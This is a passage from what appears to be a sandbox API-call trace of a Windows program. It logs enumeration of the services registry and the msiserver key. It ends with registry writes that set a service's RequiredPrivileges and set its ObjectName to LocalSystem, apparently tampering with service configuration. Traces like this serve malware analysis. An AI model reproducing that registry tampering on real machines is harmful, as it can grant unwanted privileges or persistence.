dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0229.015] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0229.016] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0229.017] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0229.018] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0229.019] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0229.019] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0229.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0229.020] RegCloseKey (hKey=0xc4) returned 0x0 [0229.020] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0229.020] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0229.020] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0229.020] RegCloseKey (hKey=0x80000002) returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0229.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0229.021] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0229.021] RegCloseKey (hKey=0x154) returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0229.021] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0229.021] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0229.021] RegCloseKey (hKey=0xc4) returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0229.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0229.022] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.023] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.024] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.024] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.024] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0229.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0229.024] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0229.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0229.024] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.024] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.025] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.026] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0229.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0229.026] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0229.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0229.026] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, 